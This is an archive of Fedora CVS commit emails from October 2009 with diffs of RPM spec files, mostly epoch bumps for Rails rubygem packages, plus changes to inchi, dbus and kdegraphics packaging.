	1.9 rubygem-activeresource.spec, 1.10, 1.11 sources, 1.8, 1.9
Message-ID: <20091007224057.AAC9811C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-activeresource/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22180

Modified Files:
	.cvsignore rubygem-activeresource.spec sources 
Log Message:
Bump epoch; rails is not updatable across versions (bz 520843)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activeresource/F-11/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	26 Jul 2009 10:20:11 -0000	1.8
+++ .cvsignore	7 Oct 2009 22:40:57 -0000	1.9
@@ -1 +1 @@
-activeresource-2.3.3.gem
+activeresource-2.3.2.gem


Index: rubygem-activeresource.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activeresource/F-11/rubygem-activeresource.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- rubygem-activeresource.spec	26 Sep 2009 16:19:12 -0000	1.10
+++ rubygem-activeresource.spec	7 Oct 2009 22:40:57 -0000	1.11
@@ -6,7 +6,8 @@
 
 Summary: Active Record for web resources
 Name: rubygem-%{gemname}
-Version: 2.3.3
+Epoch: 1
+Version: 2.3.2
 Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
@@ -67,6 +68,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.2-2
+- Bump epoch; rails is not updatable across versions (bz 520843)
+
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.3-2
 - Force rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activeresource/F-11/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	26 Jul 2009 10:20:11 -0000	1.8
+++ sources	7 Oct 2009 22:40:57 -0000	1.9
@@ -1 +1 @@
-c9c5530089534d8f4ffcec20c465af3b  activeresource-2.3.3.gem
+530068f593488db9b456b201108e9d6f  activeresource-2.3.2.gem



From lutter at fedoraproject.org  Wed Oct  7 22:44:47 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 22:44:47 +0000 (UTC)
Subject: rpms/rubygem-rails/F-11 .cvsignore, 1.9, 1.10 rubygem-rails.spec,
	1.16, 1.17 sources, 1.9, 1.10
Message-ID: <20091007224447.1EC7511C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-rails/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24483

Modified Files:
	.cvsignore rubygem-rails.spec sources 
Log Message:
Bump epoch; rails is not updatable across versions (bz 520843)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rails/F-11/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	26 Jul 2009 11:46:22 -0000	1.9
+++ .cvsignore	7 Oct 2009 22:44:45 -0000	1.10
@@ -1 +1 @@
-rails-2.3.3.gem
+rails-2.3.2.gem


Index: rubygem-rails.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rails/F-11/rubygem-rails.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- rubygem-rails.spec	30 Sep 2009 17:48:16 -0000	1.16
+++ rubygem-rails.spec	7 Oct 2009 22:44:46 -0000	1.17
@@ -6,7 +6,8 @@
 
 Summary: Web-application framework
 Name: rubygem-%{gemname}
-Version: 2.3.3
+Epoch: 1
+Version: 2.3.2
 Release: 4%{?dist}
 Group: Development/Languages
 License: MIT
@@ -106,6 +107,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.2-4
+- Bump epoch; rails is not updatable across versions (bz 520843)
+
 * Wed Sep 30 2009 David Lutterkort <lutter at redhat.com> - 2.3.3-4
 - Restore fix for bz 496480
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rails/F-11/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	26 Jul 2009 11:46:22 -0000	1.9
+++ sources	7 Oct 2009 22:44:46 -0000	1.10
@@ -1 +1 @@
-776547f3b8e4f205b389fa2f677b20dc  rails-2.3.3.gem
+b52822c4c0aa50726e3943181bcaf883  rails-2.3.2.gem



From rathann at fedoraproject.org  Wed Oct  7 22:46:50 2009
From: rathann at fedoraproject.org (Dominik Mierzejewski)
Date: Wed,  7 Oct 2009 22:46:50 +0000 (UTC)
Subject: rpms/inchi/devel .cvsignore, 1.3, 1.4 inchi.spec, 1.5, 1.6 sources, 
	1.3, 1.4
Message-ID: <20091007224650.D4B1611C00E6@cvs1.fedora.phx.redhat.com>

Author: rathann

Update of /cvs/pkgs/rpms/inchi/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24933

Modified Files:
	.cvsignore inchi.spec sources 
Log Message:
* Thu Oct 08 2009 Dominik Mierzejewski <rpm at greysector.net> 1.0.2-2
- added doc subpackage (based on a patch by Takanori MATSUURA)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/inchi/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	13 Sep 2009 17:26:03 -0000	1.3
+++ .cvsignore	7 Oct 2009 22:46:50 -0000	1.4
@@ -1 +1,2 @@
 STDINCHI-1-API.zip
+STDINCHI-1-DOC.zip


Index: inchi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/inchi/devel/inchi.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- inchi.spec	13 Sep 2009 17:26:03 -0000	1.5
+++ inchi.spec	7 Oct 2009 22:46:50 -0000	1.6
@@ -3,10 +3,11 @@
 Summary: The IUPAC International Chemical Identifier library
 Name: inchi
 Version: 1.0.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 URL: http://www.iupac.org/inchi/
 Group: Development/Libraries
 Source0: http://www.iupac.org/inchi/download/STDINCHI-1-API.zip
+Source1: http://www.iupac.org/inchi/download/STDINCHI-1-DOC.zip
 Patch0: %{name}-rpm.patch
 License: LGPLv2+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -32,10 +33,22 @@ If you are going to develop programs whi
 you should install inchi-devel.  You'll also need to have the
 inchi package installed.
 
+%package doc
+Summary: Documentation for the InChI library
+Group: Documentation
+Requires: %{name} = %{version}-%{release}
+BuildArch: noarch
+
+%description doc
+The inchi-doc package contains user documentation for the InChI software
+and InChI library API reference for developers.
+
 %prep
-%setup -q -n STDINCHI-1-API
+%setup -q -n STDINCHI-1-API -a 1
 %patch0 -p1 -b .r
 rm STDINCHI_API/gcc_so_makefile/result/{libstdinchi,stdinchi}*
+# Both .doc and .pdf files provide the same contents.
+find STDINCHI-1-DOC -name '*.doc' | xargs rm
 
 %build
 pushd STDINCHI_API/gcc_so_makefile
@@ -69,7 +82,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/inchi
 %{_libdir}/libstdinchi.so
 
+%files doc
+%defattr(-,root,root,-)
+%doc STDINCHI-1-DOC/*
+
 %changelog
+* Thu Oct 08 2009 Dominik Mierzejewski <rpm at greysector.net> 1.0.2-2
+- added doc subpackage (based on a patch by Takanori MATSUURA)
+
 * Wed Aug 26 2009 Dominik Mierzejewski <rpm at greysector.net> 1.0.2-1
 - updated to final 1.02 release (unfortunately, it breaks ABI)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/inchi/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	13 Sep 2009 17:26:03 -0000	1.3
+++ sources	7 Oct 2009 22:46:50 -0000	1.4
@@ -1 +1,2 @@
 aa8bab9424a4c9683b63706c18d55479  STDINCHI-1-API.zip
+059da4773df796c257c74b8ddea58aaa  STDINCHI-1-DOC.zip



From mclasen at fedoraproject.org  Wed Oct  7 22:59:35 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed,  7 Oct 2009 22:59:35 +0000 (UTC)
Subject: rpms/dbus/F-12 dbus.spec,1.178,1.179
Message-ID: <20091007225935.4903611C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/dbus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32562

Modified Files:
	dbus.spec 
Log Message:
fix spec file even more



Index: dbus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbus/F-12/dbus.spec,v
retrieving revision 1.178
retrieving revision 1.179
diff -u -p -r1.178 -r1.179
--- dbus.spec	7 Oct 2009 22:39:06 -0000	1.178
+++ dbus.spec	7 Oct 2009 22:59:33 -0000	1.179
@@ -103,7 +103,7 @@ in this separate package so server syste
 %patch0 -p1 -b .start-early
 %patch1 -p1 -b .generate-xml-docs
 %patch2 -p1 -b .fix-timeout-accounting
-%patch3 -p0 -b .capability
+%patch3 -p1 -b .capability
 
 autoreconf -f -i
 



From lutter at fedoraproject.org  Wed Oct  7 23:01:38 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 23:01:38 +0000 (UTC)
Subject: rpms/rubygem-activesupport/devel rubygem-activesupport.spec, 1.11, 
	1.12
Message-ID: <20091007230138.BC90811C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-activesupport/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1112/devel

Modified Files:
	rubygem-activesupport.spec 
Log Message:
Bump Epoch to ensure upgrade path from F-11


Index: rubygem-activesupport.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activesupport/devel/rubygem-activesupport.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- rubygem-activesupport.spec	20 Sep 2009 16:40:28 -0000	1.11
+++ rubygem-activesupport.spec	7 Oct 2009 23:01:38 -0000	1.12
@@ -8,8 +8,9 @@
 
 Summary: Support and utility classes used by the Rails framework
 Name: rubygem-%{gemname}
+Epoch: 1
 Version: 2.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -67,6 +68,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.4-2
+- Bump Epoch to ensure upgrade path from F-11
+
 * Mon Sep 7 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.4-1
 - Update to 2.3.4 (bug 520843, CVE-2009-3009)
 



From lutter at fedoraproject.org  Wed Oct  7 23:01:38 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 23:01:38 +0000 (UTC)
Subject: rpms/rubygem-activesupport/F-12 rubygem-activesupport.spec, 1.11,
	1.12
Message-ID: <20091007230138.7F8CE11C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-activesupport/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1112/F-12

Modified Files:
	rubygem-activesupport.spec 
Log Message:
Bump Epoch to ensure upgrade path from F-11


Index: rubygem-activesupport.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activesupport/F-12/rubygem-activesupport.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- rubygem-activesupport.spec	20 Sep 2009 16:40:28 -0000	1.11
+++ rubygem-activesupport.spec	7 Oct 2009 23:01:38 -0000	1.12
@@ -8,8 +8,9 @@
 
 Summary: Support and utility classes used by the Rails framework
 Name: rubygem-%{gemname}
+Epoch: 1
 Version: 2.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -67,6 +68,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.4-2
+- Bump Epoch to ensure upgrade path from F-11
+
 * Mon Sep 7 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.4-1
 - Update to 2.3.4 (bug 520843, CVE-2009-3009)
 



From than at fedoraproject.org  Wed Oct  7 23:04:54 2009
From: than at fedoraproject.org (Than Ngo)
Date: Wed,  7 Oct 2009 23:04:54 +0000 (UTC)
Subject: rpms/kdegraphics/F-12 kdegraphics.spec,1.213,1.214
Message-ID: <20091007230454.6411811C00E6@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdegraphics/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2493

Modified Files:
	kdegraphics.spec 
Log Message:
rhel cleanup



Index: kdegraphics.spec
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/F-12/kdegraphics.spec,v
retrieving revision 1.213
retrieving revision 1.214
diff -u -p -r1.213 -r1.214
--- kdegraphics.spec	7 Oct 2009 10:41:26 -0000	1.213
+++ kdegraphics.spec	7 Oct 2009 23:04:53 -0000	1.214
@@ -8,7 +8,7 @@
 Summary:        K Desktop Environment - Graphics Applications
 Epoch:          7
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 
 Name:           kdegraphics
 #Obsoletes:     kdegraphics4 < %{version}-%{release}
@@ -22,11 +22,13 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 ## upstream patches
 
+%if 0%{?fedora}
+BuildRequires:  chmlib-devel
+BuildRequires:  ebook-tools-devel
+%endif
 BuildRequires:  kdelibs4-devel >= %{version}
 BuildRequires:  kdepimlibs-devel >= %{version}
-BuildRequires:  chmlib-devel
 BuildRequires:  djvulibre-devel
-BuildRequires:  ebook-tools-devel
 BuildRequires:  exiv2-devel
 BuildRequires:  giflib-devel
 BuildRequires:  lcms-devel
@@ -231,6 +233,9 @@ fi
 
 
 %changelog
+* Thu Oct 08 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- rhel cleanup
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From than at fedoraproject.org  Wed Oct  7 23:05:38 2009
From: than at fedoraproject.org (Than Ngo)
Date: Wed,  7 Oct 2009 23:05:38 +0000 (UTC)
Subject: rpms/kdegraphics/devel kdegraphics.spec,1.213,1.214
Message-ID: <20091007230538.98E1411C00E6@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdegraphics/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2942

Modified Files:
	kdegraphics.spec 
Log Message:
rhel cleanup



Index: kdegraphics.spec
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/devel/kdegraphics.spec,v
retrieving revision 1.213
retrieving revision 1.214
diff -u -p -r1.213 -r1.214
--- kdegraphics.spec	5 Oct 2009 13:06:38 -0000	1.213
+++ kdegraphics.spec	7 Oct 2009 23:05:38 -0000	1.214
@@ -8,7 +8,7 @@
 Summary:        K Desktop Environment - Graphics Applications
 Epoch:          7
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 
 Name:           kdegraphics
 #Obsoletes:     kdegraphics4 < %{version}-%{release}
@@ -22,11 +22,13 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 ## upstream patches
 
+%if 0%{?fedora}
+BuildRequires:  chmlib-devel
+BuildRequires:  ebook-tools-devel
+%endif
 BuildRequires:  kdelibs4-devel >= %{version}
 BuildRequires:  kdepimlibs-devel >= %{version}
-BuildRequires:  chmlib-devel
 BuildRequires:  djvulibre-devel
-BuildRequires:  ebook-tools-devel
 BuildRequires:  exiv2-devel
 BuildRequires:  giflib-devel
 BuildRequires:  lcms-devel
@@ -231,6 +233,9 @@ fi
 
 
 %changelog
+* Thu Oct 08 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- rhel cleanup
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From lutter at fedoraproject.org  Wed Oct  7 23:11:24 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 23:11:24 +0000 (UTC)
Subject: rpms/rubygem-activerecord/F-12 rubygem-activerecord.spec,1.12,1.13
Message-ID: <20091007231124.DC33B11C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-activerecord/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5664/F-12

Modified Files:
	rubygem-activerecord.spec 
Log Message:
Bump Epoch to ensure upgrade path from F-11


Index: rubygem-activerecord.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activerecord/F-12/rubygem-activerecord.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- rubygem-activerecord.spec	20 Sep 2009 16:40:26 -0000	1.12
+++ rubygem-activerecord.spec	7 Oct 2009 23:11:23 -0000	1.13
@@ -8,8 +8,9 @@
 
 Summary: Implements the ActiveRecord pattern for ORM
 Name: rubygem-%{gemname}
+Epoch: 1
 Version: 2.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -92,6 +93,9 @@ rake test_sqlite3 --trace
 %{gemdir}/specifications/%{gemname}-%{version}.gemspec
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.4-2
+- Bump Epoch to ensure upgrade path from F-11
+
 * Fri Sep 18 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.4-1
 - Update to 2.3.4
 - Enable check



From lutter at fedoraproject.org  Wed Oct  7 23:11:24 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 23:11:24 +0000 (UTC)
Subject: rpms/rubygem-activerecord/devel rubygem-activerecord.spec, 1.12,
	1.13
Message-ID: <20091007231124.E32E411C0298@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-activerecord/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5664/devel

Modified Files:
	rubygem-activerecord.spec 
Log Message:
Bump Epoch to ensure upgrade path from F-11


Index: rubygem-activerecord.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activerecord/devel/rubygem-activerecord.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- rubygem-activerecord.spec	20 Sep 2009 16:40:26 -0000	1.12
+++ rubygem-activerecord.spec	7 Oct 2009 23:11:24 -0000	1.13
@@ -8,8 +8,9 @@
 
 Summary: Implements the ActiveRecord pattern for ORM
 Name: rubygem-%{gemname}
+Epoch: 1
 Version: 2.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -92,6 +93,9 @@ rake test_sqlite3 --trace
 %{gemdir}/specifications/%{gemname}-%{version}.gemspec
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.4-2
+- Bump Epoch to ensure upgrade path from F-11
+
 * Fri Sep 18 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.4-1
 - Update to 2.3.4
 - Enable check



From lutter at fedoraproject.org  Wed Oct  7 23:12:56 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 23:12:56 +0000 (UTC)
Subject: rpms/rubygem-actionpack/F-12 rubygem-actionpack.spec,1.13,1.14
Message-ID: <20091007231256.A5BAB11C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-actionpack/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6620/F-12

Modified Files:
	rubygem-actionpack.spec 
Log Message:
Bump Epoch to ensure upgrade path from F-11


Index: rubygem-actionpack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-actionpack/F-12/rubygem-actionpack.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- rubygem-actionpack.spec	20 Sep 2009 16:40:24 -0000	1.13
+++ rubygem-actionpack.spec	7 Oct 2009 23:12:56 -0000	1.14
@@ -8,8 +8,9 @@
 
 Summary: Web-flow and rendering framework putting the VC in MVC
 Name: rubygem-%{gemname}
+Epoch: 1
 Version: 2.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -109,6 +110,9 @@ rake test --trace
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.4-2
+- Bump Epoch to ensure upgrade path from F-11
+
 * Sun Sep 20 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.4-1
 - Update to 2.3.4 (bug 520843, CVE-2009-3009)
 - Fix tests



From lutter at fedoraproject.org  Wed Oct  7 23:12:57 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 23:12:57 +0000 (UTC)
Subject: rpms/rubygem-actionpack/devel rubygem-actionpack.spec,1.13,1.14
Message-ID: <20091007231257.2A3F511C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-actionpack/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6620/devel

Modified Files:
	rubygem-actionpack.spec 
Log Message:
Bump Epoch to ensure upgrade path from F-11


Index: rubygem-actionpack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-actionpack/devel/rubygem-actionpack.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- rubygem-actionpack.spec	20 Sep 2009 16:40:24 -0000	1.13
+++ rubygem-actionpack.spec	7 Oct 2009 23:12:56 -0000	1.14
@@ -8,8 +8,9 @@
 
 Summary: Web-flow and rendering framework putting the VC in MVC
 Name: rubygem-%{gemname}
+Epoch: 1
 Version: 2.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -109,6 +110,9 @@ rake test --trace
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.4-2
+- Bump Epoch to ensure upgrade path from F-11
+
 * Sun Sep 20 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.4-1
 - Update to 2.3.4 (bug 520843, CVE-2009-3009)
 - Fix tests



From lutter at fedoraproject.org  Wed Oct  7 23:14:33 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 23:14:33 +0000 (UTC)
Subject: rpms/rubygem-actionmailer/F-12 rubygem-actionmailer.spec,1.13,1.14
Message-ID: <20091007231433.B581311C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-actionmailer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7882/F-12

Modified Files:
	rubygem-actionmailer.spec 
Log Message:
Bump Epoch to ensure upgrade path from F-11


Index: rubygem-actionmailer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-actionmailer/F-12/rubygem-actionmailer.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- rubygem-actionmailer.spec	20 Sep 2009 16:40:23 -0000	1.13
+++ rubygem-actionmailer.spec	7 Oct 2009 23:14:33 -0000	1.14
@@ -8,8 +8,9 @@
 
 Summary: Service layer for easy email delivery and testing
 Name: rubygem-%{gemname}
+Epoch: 1
 Version: 2.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -82,6 +83,9 @@ rake test --trace
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.4-2
+- Bump Epoch to ensure upgrade path from F-11
+
 * Mon Sep 7 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.4-1
 - Update to 2.3.4
 



From lutter at fedoraproject.org  Wed Oct  7 23:14:34 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 23:14:34 +0000 (UTC)
Subject: rpms/rubygem-actionmailer/devel rubygem-actionmailer.spec, 1.13,
	1.14
Message-ID: <20091007231434.0D2B311C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-actionmailer/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7882/devel

Modified Files:
	rubygem-actionmailer.spec 
Log Message:
Bump Epoch to ensure upgrade path from F-11


Index: rubygem-actionmailer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-actionmailer/devel/rubygem-actionmailer.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- rubygem-actionmailer.spec	20 Sep 2009 16:40:23 -0000	1.13
+++ rubygem-actionmailer.spec	7 Oct 2009 23:14:33 -0000	1.14
@@ -8,8 +8,9 @@
 
 Summary: Service layer for easy email delivery and testing
 Name: rubygem-%{gemname}
+Epoch: 1
 Version: 2.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -82,6 +83,9 @@ rake test --trace
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.4-2
+- Bump Epoch to ensure upgrade path from F-11
+
 * Mon Sep 7 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.4-1
 - Update to 2.3.4
 



From lutter at fedoraproject.org  Wed Oct  7 23:16:53 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 23:16:53 +0000 (UTC)
Subject: rpms/rubygem-activeresource/devel rubygem-activeresource.spec, 1.10,
	1.11
Message-ID: <20091007231653.A001B11C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-activeresource/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9002/devel

Modified Files:
	rubygem-activeresource.spec 
Log Message:
Bump Epoch to ensure upgrade path from F-11


Index: rubygem-activeresource.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activeresource/devel/rubygem-activeresource.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- rubygem-activeresource.spec	20 Sep 2009 16:40:27 -0000	1.10
+++ rubygem-activeresource.spec	7 Oct 2009 23:16:53 -0000	1.11
@@ -8,8 +8,9 @@
 
 Summary: Active Record for web resources
 Name: rubygem-%{gemname}
+Epoch: 1
 Version: 2.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -77,6 +78,9 @@ rake test --trace
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.4-2
+- Bump Epoch to ensure upgrade path from F-11
+
 * Fri Sep 18 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.4-1
 - Update to 2.3.4
 - Enable test



From lutter at fedoraproject.org  Wed Oct  7 23:16:53 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 23:16:53 +0000 (UTC)
Subject: rpms/rubygem-activeresource/F-12 rubygem-activeresource.spec, 1.10, 
	1.11
Message-ID: <20091007231653.8670C11C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-activeresource/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9002/F-12

Modified Files:
	rubygem-activeresource.spec 
Log Message:
Bump Epoch to ensure upgrade path from F-11


Index: rubygem-activeresource.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activeresource/F-12/rubygem-activeresource.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- rubygem-activeresource.spec	20 Sep 2009 16:40:27 -0000	1.10
+++ rubygem-activeresource.spec	7 Oct 2009 23:16:53 -0000	1.11
@@ -8,8 +8,9 @@
 
 Summary: Active Record for web resources
 Name: rubygem-%{gemname}
+Epoch: 1
 Version: 2.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -77,6 +78,9 @@ rake test --trace
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.4-2
+- Bump Epoch to ensure upgrade path from F-11
+
 * Fri Sep 18 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.4-1
 - Update to 2.3.4
 - Enable test



From lutter at fedoraproject.org  Wed Oct  7 23:18:04 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 23:18:04 +0000 (UTC)
Subject: rpms/rubygem-rails/F-12 rubygem-rails.spec,1.17,1.18
Message-ID: <20091007231804.28C6F11C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

